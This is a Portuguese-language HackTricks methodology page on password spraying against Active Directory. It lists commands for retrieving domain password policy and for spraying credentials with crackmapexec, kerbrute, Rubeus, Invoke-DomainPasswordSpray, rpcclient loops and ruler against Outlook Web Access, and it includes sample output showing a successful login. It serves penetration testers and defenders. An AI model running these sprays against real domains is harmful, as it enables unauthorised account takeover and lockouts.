hacktricks/windows-hardening/active-directory-methodology/password-spraying.md
2023-06-06 18:56:34 +00:00

7.3 KiB

Password Spraying (Ataque de Senhas)

Depois de encontrar vários nomes de usuário válidos, você pode tentar as senhas mais comuns (lembre-se da política de senhas do ambiente) com cada um dos usuários descobertos.
Por padrão, o comprimento mínimo da senha é 7.

Listas de nomes de usuário comuns também podem ser úteis: https://github.com/insidetrust/statistically-likely-usernames

Observe que você pode bloquear algumas contas se tentar várias senhas incorretas (por padrão, mais de 10).

Obter política de senha

Se você tiver algumas credenciais de usuário ou um shell como um usuário de domínio, você pode obter a política de senha com:

# From Linux
crackmapexec <IP> -u 'user' -p 'password' --pass-pol

enum4linux -u 'username' -p 'password' -P <IP>

rpcclient -U "" -N 10.10.10.10; 
rpcclient $>querydominfo

ldapsearch -h 10.10.10.10 -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "*" | grep -m 1 -B 10 pwdHistoryLength

# From Windows
net accounts

(Get-DomainPolicy)."SystemAccess" #From powerview

Exploração a partir do Linux (ou qualquer outro)

  • Usando crackmapexec:
crackmapexec smb <IP> -u users.txt -p passwords.txt
# Local Auth Spray (once you found some local admin pass or hash)
## --local-auth flag indicate to only try 1 time per machine
crackmapexec smb --local-auth 10.10.10.10/23 -u administrator -H 10298e182387f9cab376ecd08491764a0 | grep +
# Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
  • spray (você pode indicar o número de tentativas para evitar bloqueios):
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
  • Usando kerbrute (python) - NÃO RECOMENDADO, ÀS VEZES NÃO FUNCIONA
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
  • Com o módulo scanner/smb/smb_login do Metasploit:

  • Usando rpcclient:
# https://www.blackhillsinfosec.com/password-spraying-other-fun-with-rpcclient/
for u in $(cat users.txt); do 
    rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done

A partir do Windows

  • Com o Rubeus versão com módulo de brute force:
# with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>

# check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
  • Com o Invoke-DomainPasswordSpray (Ele pode gerar usuários do domínio por padrão e obter a política de senha do domínio e limitar as tentativas de acordo com ela):
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
Invoke-SprayEmptyPassword

Outlook Web Access

Existem várias ferramentas para fazer password spraying no Outlook.

Para usar qualquer uma dessas ferramentas, você precisa de uma lista de usuários e uma senha / uma pequena lista de senhas para fazer o spraying.

./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
    [x] Failed: larsson:Summer2020
    [x] Failed: cube0x0:Summer2020
    [x] Failed: a.admin:Summer2020
    [x] Failed: c.cube:Summer2020
    [+] Success: s.svensson:Summer2020

Google

Okta

Referências

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥